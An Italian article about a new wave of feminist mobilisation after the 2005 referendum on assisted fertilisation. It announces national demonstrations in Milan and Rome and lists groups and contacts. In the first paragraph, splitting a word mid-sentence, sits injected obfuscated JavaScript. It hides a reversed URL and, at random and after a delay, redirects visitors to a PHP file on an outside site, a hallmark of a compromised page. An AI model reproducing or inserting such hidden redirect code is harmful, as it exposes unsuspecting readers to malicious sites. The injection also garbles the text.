Donne, usciamo dal silenzio

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Se appena pochi mesi fa, lo scorso giugno, le donne incassavano una sconfitta clamorosa nel referendum sulla fecondazione assistita, quello che si è verificato dopo ha dimostrato che eravamo solo all’inizio di una battaglia che si preannuncia difficile e controversa ma che al contempo ha dello straordinario perché, dopo anni di silenzio, le donne finalmente scendono di nuovo in piazza. E questa volta le rivendicazioni sono radicali. Del resto non potrebbe essere diversamente visti i pesanti attacchi che si sono scatenati dopo la sconfitta di giugno. è stato come togliere il tappo a un’enorme pentola a pressione. Chiesa e governo, eccitati dalla vittoria, hanno tentato il raddoppio: gli ostacoli posti alla sperimentazione della pillola abortiva Ru486, i ripetuti assalti alla legge 194 sull’aborto, la proposta di introdurre nei consultori volontari del Movimento per la vita, il “b (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando di adozione” per gli embrioni congelati, l’opposizione alla proposta di introdurre i Pacs, e così via. Siamo indubbiamente davanti a un fenomeno singolare, o quanto meno a un momento cruciale. Paradossalmente, nonostante la gravità degli eventi, che rimettono in discussione diritti fondamentali, quella che si profila è un’occasione importante per le donne, per tornare a farsi sentire.
Quest’occasione è stata colta. In novembre, alla Camera del Lavoro di Milano durante un’importante assemblea sono state prese alcune significative decisioni. La prima è stata quella di indire una manifestazione nazionale, sabato 14 gennaio a Milano, in difesa della libertà della donna, della sua autodeterminazione e della laicità dello stato.
Per prepararsi a questa iniziativa sono state convocate molte assemblee cittadine dai vari collettivi femminili nei mesi di dicembre e gennaio. Il 18 dicembre si riunivano contemporaneamente gruppi di Palermo, Napoli, Roma, Firenze, Bologna e Milano allo scopo di prepararsi alla manifestazione tutti insieme, ognuno con il proprio contributo.
Sembra dunque prendere il via un coordinamento su due piani, una vera e propria rete potremmo dire. Da un lato le iniziative nazionali e dall’altro i gruppi locali. La stessa logica è adottata da Facciamo Breccia, movimento tra i più significativi di questo periodo, che nasce come intersezione tra femminismo, lotte gay, lesbiche e transessuali.
è su iniziativa di questa organizzazione che l’11 febbraio 2006 si terrà una manifestazione nazionale a Roma con l’obiettivo di riportare le questioni della sessualità e dell’autodeterminazione nel dibattito pubblico.
Anche a Firenze sono molti i gruppi di donne attive e tante le iniziative organizzate in concomitanza con l’assemblea delle donne di Milano e con Facciamo Breccia di Bologna.
Cosa significa tutto questo? Stanno forse tornando gli anni delle lotte al femminile? Siamo davanti ad una nuova stagione del femminismo? Solitamente la storia non torna indietro, va avanti, ma era comunque molto tempo che non si vedeva una mobilitazione di questa portata.
Certo è ancora tutto da fare, la situazione è ben diversa da quella degli anni ’60-’70, e non bisogna cadere nella trappola delle rievocazioni nostalgiche. Oggi tutto è diverso, e c’è dunque bisogno di soluzioni e iniziative che si rendano interpreti di questa diversità. Il dado è stato tratto, questo è certo, ma è ancora da vedere che piega prenderanno gli eventi. Intanto ci diamo appuntamento il 14 gennaio a Milano e l’11 febbraio a Roma.
Per aggiornamenti sulle iniziative nazionali: www.usciamodalsilenzio.org e www.facciamobreccia.org.
Per aggiornamenti sulle iniziative fiorentine: www.comitatoperla.it oppure scrivete a orgogliolaico@libero.it o a debora.picchi@inwind.it per il Collettivo 8 marzo.

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